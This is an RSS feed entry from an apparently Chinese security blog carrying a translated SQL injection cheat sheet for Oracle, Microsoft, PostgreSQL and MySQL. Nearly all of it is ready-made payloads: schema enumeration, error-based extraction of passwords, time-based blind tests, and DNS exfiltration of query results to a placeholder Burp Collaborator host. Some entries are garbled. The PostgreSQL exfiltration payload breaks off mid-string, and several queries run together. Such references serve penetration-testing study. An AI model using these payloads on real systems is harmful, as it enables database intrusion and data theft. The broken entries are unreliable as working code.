<?xml version="1.0" encoding="utf-8" standalone="yes"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>Hack Your Heart</title><link>https://h4cker.zip/tags/microsoft/</link><description>临渊羡鱼，不如退而结网</description><generator>Hugo 0.168.0</generator><language>en</language><atom:link href="https://h4cker.zip/tags/microsoft/rss.xml" rel="self" type="application/rss+xml"/><lastBuildDate>Sat, 22 Feb 2025 23:07:58 +0800</lastBuildDate><item><title>SQL注入速查表</title><link>https://h4cker.zip/b30834/</link><pubDate>Sat, 22 Feb 2025 23:07:58 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/b30834/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>此SQL注入速查表包含一些有用语法的示例，您可以使用这些示例执行SQL注入攻击时经常出现的各种任务。</p>
<h2 id="字符串连接">字符串连接<a class="anchor" href="#字符串连接">#</a></h2>
<p>您可以将多个字符串连接在一起以形成单个字符串。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Oracle</th>
          <th style="font-weight: normal"><code>'foo'||'bar'</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Microsoft</td>
          <td><code>'foo'+'bar'</code></td>
      </tr>
      <tr>
          <td>PostgreSQL</td>
          <td><code>'foo'||'bar'</code></td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td><code>'foo' 'bar'</code>[注意字符串之间的空格]<br><code>CONCAT ('foo'，'bar')</code></td>
      </tr>
  </tbody>
</table>
<h2 id="子串">子串<a class="anchor" href="#子串">#</a></h2>
<p>可以从指定的偏移量和指定的长度提取字符串的一部分。注意，偏移索引是从1开始的。下面的每个表达式都将返回字符串<code>ba</code>。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Oracle简介</th>
          <th style="font-weight: normal"><code>SUBSTR('foobar', 4, 2)</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Microsoft</td>
          <td><code>SUBSTRING('foobar', 4, 2)</code></td>
      </tr>
      <tr>
          <td>PostgreSQL</td>
          <td><code>SUBSTRING('foobar', 4, 2)</code></td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td><code>SUBSTRING('foobar', 4, 2)</code></td>
      </tr>
  </tbody>
</table>
<h2 id="注释">注释<a class="anchor" href="#注释">#</a></h2>
<p>您可以使用注释来截断查询并删除原始查询中跟在输入之后的部分。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Oracle简介</th>
          <th style="font-weight: normal"><code>--comment</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Microsoft</td>
          <td><code>--comment/*comment*/</code></td>
      </tr>
      <tr>
          <td>PostgreSQL</td>
          <td><code>--comment/*comment*/</code></td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td><code>#评论</code> <code>-- comment</code>[注意双破折号后的空格] <code>/*comment*/</code></td>
      </tr>
  </tbody>
</table>
<h2 id="数据库版本">数据库版本<a class="anchor" href="#数据库版本">#</a></h2>
<p>您可以查询数据库以确定其类型和版本。在制定更复杂的攻击时，此信息非常有用。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Oracle简介</th>
          <th style="font-weight: normal"><code>SELECT banner FROM v$versionSELECT version FROM v$instance</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Microsoft</td>
          <td><code>SELECT @@version</code></td>
      </tr>
      <tr>
          <td>PostgreSQL</td>
          <td><code>SELECT version()</code></td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td><code>SELECT @@version</code></td>
      </tr>
  </tbody>
</table>
<h2 id="数据库内容">数据库内容<a class="anchor" href="#数据库内容">#</a></h2>
<p>可以列出数据库中存在的表以及这些表包含的列。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Oracle简介</th>
          <th style="font-weight: normal"><code>SELECT * FROM all_tablesSELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Microsoft</td>
          <td><code>SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'</code></td>
      </tr>
      <tr>
          <td>PostgreSQL</td>
          <td><code>SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'</code></td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td><code>SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'</code></td>
      </tr>
  </tbody>
</table>
<h2 id="条件错误">条件错误<a class="anchor" href="#条件错误">#</a></h2>
<p>您可以测试单个布尔条件，如果条件为真，则触发数据库错误。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Oracle简介</th>
          <th style="font-weight: normal"><code>SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Microsoft</td>
          <td><code>SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END</code></td>
      </tr>
      <tr>
          <td>PostgreSQL</td>
          <td><code>1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)</code></td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td><code>SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')</code></td>
      </tr>
  </tbody>
</table>
<h2 id="通过可见的错误消息提取数据">通过可见的错误消息提取数据<a class="anchor" href="#通过可见的错误消息提取数据">#</a></h2>
<p>您可能会引发泄漏恶意查询返回的敏感数据的错误消息。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Microsoft</th>
          <th style="font-weight: normal"><code>SELECT 'foo' WHERE 1 = (SELECT 'secret') &gt; Conversion failed when converting the varchar value 'secret' to data type int.</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>PostgreSQL</td>
          <td><code>SELECT CAST((SELECT password FROM users LIMIT 1) AS int) &gt; invalid input syntax for integer: "secret"</code></td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td><code>SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) &gt; XPATH syntax error: '\secret'</code></td>
      </tr>
  </tbody>
</table>
<h2 id="批处理或堆叠查询">批处理（或堆叠）查询<a class="anchor" href="#批处理或堆叠查询">#</a></h2>
<p>可以使用批处理查询连续执行多个查询。请注意，在执行后续查询时，不会将结果返回给应用程序。因此，这种技术主要用于与盲漏洞相关的漏洞，您可以使用第二个查询来触发DNS查找，条件错误或时间延迟。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Oracle简介</th>
          <th style="font-weight: normal"><code>Does not support batched queries.</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Microsoft</td>
          <td><code>QUERY-1-HERE; QUERY-2-HEREQUERY-1-HERE QUERY-2-HERE</code></td>
      </tr>
      <tr>
          <td>PostgreSQL</td>
          <td><code>QUERY-1-HERE; QUERY-2-HERE</code></td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td><code>QUERY-1-HERE; QUERY-2-HERE</code></td>
      </tr>
  </tbody>
</table>
<span style="color:red;font-weight:bold;">注意</span>
<p>对于MySQL，批处理查询通常不能用于SQL注入。但是，如果目标应用程序使用某些PHP或Python API与MySQL数据库进行通信，则有时可能会出现这种情况。</p>
<h2 id="时间延迟">时间延迟<a class="anchor" href="#时间延迟">#</a></h2>
<p>处理查询时，可能会导致数据库中出现时间延迟。以下内容将导致10秒的无条件时间延迟。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Oracle简介</th>
          <th style="font-weight: normal"><code>dbms_pipe.receive_message(('a'),10)</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Microsoft</td>
          <td><code>WAITFOR DELAY '0:0:10'</code></td>
      </tr>
      <tr>
          <td>PostgreSQL</td>
          <td><code>SELECT pg_sleep(10)</code></td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td><code>SELECT SLEEP(10)</code></td>
      </tr>
  </tbody>
</table>
<h2 id="条件时滞">条件时滞<a class="anchor" href="#条件时滞">#</a></h2>
<p>您可以测试单个布尔条件，如果条件为真，则触发时间延迟。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Oracle简介</th>
          <th style="font-weight: normal"><code>SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Microsoft</td>
          <td><code>IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'</code></td>
      </tr>
      <tr>
          <td>PostgreSQL</td>
          <td><code>SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END</code></td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td><code>SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')</code></td>
      </tr>
  </tbody>
</table>
<h2 id="dns查找">DNS查找<a class="anchor" href="#dns查找">#</a></h2>
<p>您可以使数据库对外部域执行DNS查找。为此，您需要使用<a
  href="https://portswigger.net/burp/documentation/desktop/tools/collaborator" rel="nofollow noopener noreferrer" target="_blank"
  >Burp Collaborator<span style="user-select:none"> ↗</span></a
>
生成一个将用于攻击的唯一Burp Collaborator子域，然后轮询Collaborator服务器以确认发生了DNS查找。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Oracle简介</th>
          <th style="font-weight: normal">(XXE)触发DNS查找的漏洞。该漏洞已被修补，但存在许多未修补的Oracle安装：<code>SELECT EXTRACTVALUE(xmltype('&lt;?xml version="1.0" encoding="UTF-8"?&gt;&lt;!DOCTYPE root [ &lt;!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"&gt; %remote;]&gt;'),'/l') FROM dual</code>以下技术适用于完全修补的Oracle安装，但需要提升的权限：<code>SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Microsoft</td>
          <td><code>exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'</code></td>
      </tr>
      <tr>
          <td>PostgreSQL</td>
          <td><code>copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'</code></td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td>以下技术仅适用于Windows：<code>LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')</code> <code>SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'</code></td>
      </tr>
  </tbody>
</table>
<h2 id="dns查找与数据泄漏">DNS查找与数据泄漏<a class="anchor" href="#dns查找与数据泄漏">#</a></h2>
<p>您可以使数据库对包含插入查询结果的外部域执行DNS查找。为此，您需要使用<a
  href="https://portswigger.net/burp/documentation/desktop/tools/collaborator" rel="nofollow noopener noreferrer" target="_blank"
  >Burp Collaborator<span style="user-select:none"> ↗</span></a
>
生成一个用于攻击的唯一Burp Collaborator子域，然后轮询Collaborator服务器以检索任何DNS交互的详细信息，包括泄露的数据。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Oracle简介</th>
          <th style="font-weight: normal"><code>SELECT EXTRACTVALUE(xmltype('&lt;?xml version="1.0" encoding="UTF-8"?&gt;&lt;!DOCTYPE root [ &lt;!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"&gt; %remote;]&gt;'),'/l') FROM dual</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Microsoft</td>
          <td><code>declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')</code></td>
      </tr>
      <tr>
          <td>PostgreSQL</td>
          <td>`create OR replace function f() returns void as $$declare c text;declare p text;beginSELECT into p (SELECT YOUR-QUERY-HERE);c := ‘copy (SELECT ‘’’’) to program ‘’nslookup '</td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td>The following technique works on Windows only: <code>SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'</code></td>
      </tr>
  </tbody>
</table>]]></content:encoded><h:img src="https://h4cker.zip/b30834/SQLi_cheatsheet_cover.webp"/><enclosure url="https://h4cker.zip/b30834/SQLi_cheatsheet_cover.webp"/><category>SQL注入</category><category>Oracle</category><category>PostgreSQL</category><category>MySQL</category><category>Microsoft</category></item></channel></rss>